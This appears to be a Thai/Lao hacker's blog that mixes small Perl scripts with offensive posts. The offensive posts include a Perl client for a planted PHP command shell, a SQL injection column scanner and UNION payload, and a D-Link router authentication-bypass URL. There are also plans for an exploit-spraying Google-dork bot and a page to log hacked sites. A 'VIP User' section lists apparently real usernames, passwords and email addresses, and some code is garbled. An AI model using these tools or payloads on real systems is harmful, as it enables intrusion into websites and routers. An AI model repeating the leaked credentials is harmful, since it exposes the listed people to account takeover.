[Perl] - Lyrics.pl

+ มาอีกแล้วคับท่านกับ perl ของผม มาครั้งนี้เป็น perl เอาใว้หาเนื้อเพลงหรือ lyrics
+ ມາອີກແລ້ວກັບ perl ຫາເນື້ອເພງຫລື lyrics

+ Download Here...!!!

use LWP::UserAgent;

my $ua = LWP::UserAgent->new(agent => 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)');
$ua->timeout(10);
print "\t\n[+] Song : ";
chomp($song = );
print "\n[+] $song\n";
$song =~s/\s/\+/ig;
my $target = "http://www.lyricstime.com/search/?q=$song&t=default";
$res = $ua->get($target);
$ct = $res->content();
if($ct =~m/
  • /ig)
    {
    $res = $ua->get("http://www.lyricstime.com/$1");
    $ct2 = $res->content();
    if($ct2 =~m/
  • Cmd Shell - Perl

    Watch Video you will know about this....
    img.laoupload.com | ບໍລິການ ອັບໂຫລດຮູບ ຝາກຮູບ ດາວໂຫລດຮູບ ເກັບຮູບ ສົ່ງຮູບ ຮັກສາຮູບ ຟຣີ!!!!
    +Perl Cmd Shell
    +PHP CMD
    +Download Video Here ..!

    #!usr/bin/perl
    
    use LWP::UserAgent;
    
    my $target = 'http://localhost/cmd.php?cmd=';
    $ua = LWP::UserAgent->new();
    print "dreamclown\@r00t# ";
    chomp($cmd = );
    while($cmd !~ "exit"){
       if($cmd =~ "cls"){
         system("cls");
       }
       else
       {
       $s = $target . $cmd;
       $res = $ua->get($s);
       $ct = $res->content();
       print $ct;
       }
       print "\ndreamclown\@r00t# ";
      chomp($cmd = );
    }
    

    [Perl] - Scan Column Part 2

    #!usr/bin/perl
    
    use LWP::UserAgent;
    
    print "\n\tScan Column => [ by Dreamclown ]\n\n";
    print "[+] Target : ";
    chomp($target=);
    if($target !~/^http:\/\//ig)
    {
     $target = "http://$target";
    }
    print "[+] Scan On $target\n";
    $browser = LWP::UserAgent->new();
    $browser->timeout(10);
    $order = "+order+by+";
    for($i=1;$i<50;$i++)
    {
      $target2 = "$target$order$i";
      $res = $browser->get($target2);
      $ct = $res->content();
      if($ct =~m/Warning/ig)
      {
       $i = $i - 1;
       print "[+] Column => $i\n";
       exit;
      }
    }
    

    + Download Source Code Here..!!

    Test Hightlight - Hello World.pl

    #!/usr/bin/perl
    $age = 26;
    @date = (8, 24, 70);
    
    system("cls");
    my $a = "Dreamclown";
    print $a;
    print "\nhello, world\n"; #newline
    print "hello, world\t";     #tap
    print "\nhello, world\b";    #backspace
    print "\nhello, world\a";     #alert 
    print "\nhello, world\e";      #ESC charecter
    print "\nhello, world\033";
    print "\nhello, world\x7f";     #DEL charecter
    print "\nhello, world\cC";      #CTRL-C
    print "\nhello, world\\";
    print "\nhello, world\"";     #double quote
    print "\nhello, worl\ud";   #upper
    print "\nhello, worl\lD";    #lowwer 
    print "\n\Uhello, world";   #all upper
    print "\n\LHELLO, WORLD";    #all lowwer
    print "\n\Qhello, world";
    print "\n\Uhello\E, world\n";     #End \U\L\Q
    print $age."\n";
    print $date[2] . "\n";
    
    %fruit = (
              apples => 3,
              oranges => 6
    );
    
    ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
    print $hour . ":" . $min . ":" . $sec . "\n";
    
    $now = localtime();
    print $now . "\n";
    
    if ($a = "Dreamclown"){
      print "OK";
    }
    else{
      print "Not OK";
    }
    
    unless ($a = "Dreamclown"){
      print "\nA";
    }
    else{
      print "\nB";
    }
    
    if ($a != "Dreamclown"){ print "\nThat's right..!";}
    elsif ($a = "Dreamclown"){ print "\nGood\n"; }
    
    $i = 1;
    while ($i < 10){
      print $i . "\n";
    }
    continue{
      $i++;
    }
    
    for($i = 1;$i < 11;$i++){
      print $i . "\n";
    }
    

    Default Apache config Path

    Apache Logo
    Apache httpd 2.2 default layout (apache.org source package):

    ServerRoot              ::      /usr/local/apache2
    DocumentRoot            ::      /usr/local/apache2/htdocs
    Apache Config File      ::      /usr/local/apache2/conf/httpd.conf
    Other Config Files      ::      /usr/local/apache2/conf/extra/
    SSL Config File         ::      /usr/local/apache2/conf/extra/httpd-ssl.conf
    ErrorLog                ::      /usr/local/apache2/logs/error_log
    AccessLog               ::      /usr/local/apache2/logs/access_log
    cgi-bin                 ::      /usr/local/apache2/cgi-bin (enabled by default, but the bundled scripts are 644)
    binaries (apachectl)    ::      /usr/local/apache2/bin
    start/stop              ::      /usr/local/apache2/bin/apachectl (start|restart|graceful|graceful-stop|stop|configtest)

    Apache httpd 2.0 default layout (apache.org source package):


    ServerRoot              ::      /usr/local/apache2
    DocumentRoot            ::      /usr/local/apache2/htdocs
    Apache Config File      ::      /usr/local/apache2/conf/httpd.conf
    SSL Config              ::      /usr/local/apache2/conf/ssl.conf
    ErrorLog                ::      /usr/local/apache2/logs/error_log
    AccessLog               ::      /usr/local/apache2/logs/access_log
    cgi-bin                 ::      /usr/local/apache2/cgi-bin (enabled by default, but the bundled scripts are 644)
    binaries (apachectl)    ::      /usr/local/apache2/bin
    start/stop              ::      /usr/local/apache2/bin/apachectl (start|stop|graceful|configtest)

    Debian, Ubuntu (Apache httpd 2.x):

    ServerRoot              ::      /etc/apache2
    DocumentRoot            ::      /var/www
    Apache Config Files     ::      /etc/apache2/apache2.conf

    Loadkajai VIP User

    [1] xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    [2] admin:xxxxxxxxxxxxxxxxxxxxxxxxxxxx
    [3] keng:dvd123:keng-pattaya@hotmail.com:2
    [4] donk_roman:0827694101:roman_2550@yahoo.com:2
    [22] hellomaple:6460176:hellomaple@hotmail.com:2
    [39] maleficent:phil009:madamlamenta@hotmail.com:2
    [45] Poa2553:3552AOp:Dsnsombut@hotmail.com:2
     .......

    My Hello World.pl



    See More At : http://pastebin.com/kfzr1ict

    Edit : windows98SE : บ่อรู้เด้อ แต่ดูในเว็บมันก้อมีน่ะ

    Twista Feat. Chris Brown - Make A Movie


    Twista was one of the 100 rappers who they interviewed for the book- !HOW-T0. RAP| The Art&Science of the HipHop MC
     

    My new page "Hacked Zone"


    หลังจากที่ได้เห็น blog ของท่าน akira ผมก้อนืกในใจว่าอยากจะทำ page สำหลับเป็นหน้าที่เอาไว้บันทืก web ที่ผมได้เจาะไปแล้วใว้ในนั้น แต่ก้อยังไม่แน่ใจว่าจะดีไม งันผมขอ comment ใว้หน่อยว่าสมควนที่จะทำไม
    ຫຼັງຈາກທີ່ໄດ້ເຫັນ blog ຂອງທ່ານ akira ຂ້ອຍກໍ່ນຶກໃນໃຈວ່າຢາກຈະເຮັດ page ສຳລັບເປັນຫນ້າທີ່ເອົາໃວ້ບັນທຶກ web ທີ່ຂ້ອຍໄດ້ເຈາະໄປແລ້ວໃວ້ໃນນັ້ນ ແຕ່ກໍ່ຍັງບໍ່ແນ່ໃຈ ສະນັ້ນເຮົາຂໍ comment ໃວ້ວ່າຈະສົມຄວນເຮັດດີບໍ່

    [Python] - Boom Mail



    ปล.รู้ pastebin เพราะ pe3z นะเน้ย ^^
    ປລ. ຮູ້ pastebin ເພາະ pe3z ໄດ້ນິ

    How to Make Keygen - by Edkung [TH]

    Requirement
    ● Ollydbg 1.10 & Plugin ApiBreak (or Other Ollydbg Plugin for Breakpoint Windows API)
    ● Plugin Code Ripper for copy assembly code from Ollydbg
    ● Teleport Pro v 1.29 (Build 1107)
    ● IDE Borland Delphi 7 (or other IDE)
    ● Read How to crack Teleport Pro


    Download Ebook Here

    Credit:Edkung

    D-Link Router Models Authentication Bypass Vulnerability

    ========================================================
    D-Link Router Models Authentication Bypass Vulnerability
    ========================================================

    # Exploit Title: Multiple D-Link Router Authentication Bypass Vulnerabilities
    # Date: 12-01-2011
    # Author: Craig Heffner, /dev/ttyS0
    # Firmware Link: http://www.dlink.co.uk/
    # Firmware Version(s): All
    # Tested on: DIR-300, DIR-320, DIR-615 revD

    Multiple D-Link routers that use a PHP based Web interface suffer from the same authentication bypass
    vulnerability which allows unprivileged users to view and modify administrative router settings.
    Further, even if remote administration is disabled this vulnerability can be exploited by a remote
    attacker via a CSRF attack.

    The vulnerability has been confirmed in the following routers:

        DIR-615 revD
        DIR-320
        DIR-300

    The following example URL will allow access to the router's main administrative Web page without authentication:

        http://192.168.0.1/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

    For a more detailed description of the vulnerability, see: http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf.

    Note that this vulnerability was independently discovered in the DIR-300 and subsequently reported by Karol Celin on 09-Nov-2010 [1].

    [1] http://www.securityfocus.com/archive/1/514687/30/120/threaded

    Perl Scan Column SQL injection [ by Dreamclown]

    สืกสามานานแล้ว แต่เพี่งมาเล่น perl ครั้งแลกก้อเลยลองเขืยน scan column ของ bug sql injection
    ສຶກສາມາດົນແລ້ວ ແຕ່ຫາກໍ່ມາຫຼີ້ນ perl ຄັ້ງທຳອິດເລີຍລອງຂຽນ scan column ຂອງ bug sql injection


    #!usr/bin/perl

    Lan Over Internet with Hamachi



    Hamachi จะทำงานในลักษณะ VPN (Virtual Private Network) คือการจำลอง Lan ผ่าน Internet

    eBuddyWeb Messenger(0day) XSS Vulnerabilities [by Dreamclown]

    # Exploit Title: eBuddyWeb Messenger(0day) XSS Vulnerabilities
    # Google Dork: N/A
    # Date: 30.11.2010
    # Author: Dreamclown
    # Software Link: N/A
    # Version: N/A
    # Tested on: Windows Xp Sp3
    # CVE : N/A

    Exploit-Database Submit Draft [28.11.10]


    +เว็บดังเลยไม่กร้า submit อยากเก็บใว้เป็น 0day 

    +ເວັບດັງເລີຍບໍ່ກ້າ submit ຢາກເກັບໃວ້ເປັນ 0day

    เขืยน bot - Hack[SQL Injection] ด้วย VB [#1]

    ก่อนานแล้วนะที่ผมเล่น SQL Injection ชื่งก่อ hack ใด้บ้างใม้ใด้บ้าง(crack md5 ใม้ใด้..อิอิ). อยู่วันหนื่งก่อใปรู้จัก hacker ท่านหนี่งที่ Thai Shadow [windows98se] แต่ใม้รู้ว่าเขารู้จักผมใม่นะ อิอิ...และก่อใปเห็น video ของท่านที่ใช้ในการเปีด course สอน เมื่อดูก่อเห็นว่ามี Code Perl ที่ใช้ในการหา Table,column,database ของเว็บที่มีบัด SQL ตอนนั้นอยากใด้มากกกกกก เลียลองเขียนเองดู ก่อเลียใช้ Google หา code perl มาศีกษา ผ่านใป 2 วัน
    ก่อยังใม้ใด้ เลียคิดใด้ว่า vb ก่อน่าจะทำใด้เหมือนกัน ก้อเลียจัดการเขืยนในตอนนั้นเลีย. และเมีอเขียนใปใด้ 80% ก่อใปพบป้ญหาดังนี้

    ตอนที่ใด้ html code กับมาใม้รู้ว่าจะหาค่า SQL query ที่แน่นอนในนั้นใด้ยังใง

    การหาค่า SQL query ที่ติดมากับ html code นี้และผมว่าอยากสุด ก่อค่าที่ใด้มามันเปลื่ยนแปลงตามแต่ละเว็บ. แต่ก่อมีค่า query ที่เหมีอนกัน นั้นคือค่าที่ใด้มาจากคำสั่งนี้

    hxxp://www.site.com/news.php?id=-1+union+all+select,1,2,3,table_name+from+information_schema.tables—

    ชื่งจะมีค่านี้ CHARACTER_SETS ใน html code

    ผมเลียใด้ idea มาว่า:

    ถ้าเราให้ bot นี้ request เอาหน้าเว็บนี้มาแล้ว search หาค่า CHARACTER_SETS ใน html code จาก

    XGoogle Bot v.0.1 Test [by Dreamclown]


    -วันนี้เอา bot ที่ผมตั้งใจเขืยนมานานมา test ให้ดู ชื่ง bot นี้มันจะเอา search ตาม Google dork ที่ใส่แล้วก่อเอา Exploit มาต่อใส่เว็บที่หาได้ด้วย dork นั้นจากนั้นก่อ export ออกมาเป็น text file

     -ວັນນີ້ເອົາ bot ທີ່ຂ້ອຍຕັ້ງໃຂຂຽນມາດົນແລ້ວມາ test ໃຫ້ເບີ່ງ ເຊີ່ງ bot ນີ້ມັນຈະຕື່ມ exploit ໃສ່ google dork ທີ່ຫາມາໃສ່ໃນໂປແກມ ຈາກນັ້ນກໍ່ save ອອກມາເປັນ text file

    +Download Flash Video Here..!!!!



    -ส่วนใครที่อยากได้ รอผมทำสมบูนแล้วจะเอามาปร่อย

    -ສ່ວນໃຜທີ່ຢາກໃດ້ ຖ້າເຮົາເຮັດໃດ້ຈະເອົາມາແຈກ

    Edit:Type Of Hash Password







    MD5      : d41d8cd98f00b204e9800998ecf8427e  =>  (32 char)
    MD5x2   : 74be16979710d4c4e7c6647856088456  => (32 char)
    MD5x3   : acf7ef943fdeb3cbfed8dd0d8f584731 => (32 char)
    MD4      : 31d6cfe0d16ae931b73c59d7e0c089c0 => (32 char)
    NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0 => (32 char)
    LM       : aad3b435b51404eeaad3b435b51404ee => (32 char)
    SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709 => (40 char)
    SHA256   : e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 => (64 char)
    SHA384   : 38b060a751ac96384cd9327eb1b1e36a21fd7bf63f6e1da274edad2b95b... = > (98 char)
    SHA512   : cf83e1357eefb83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2bd47417a...  => (128 char)
    RIPEMD160: 9c1185a5c5e9fc54612808977ee8f548b2258d31 => (40 char)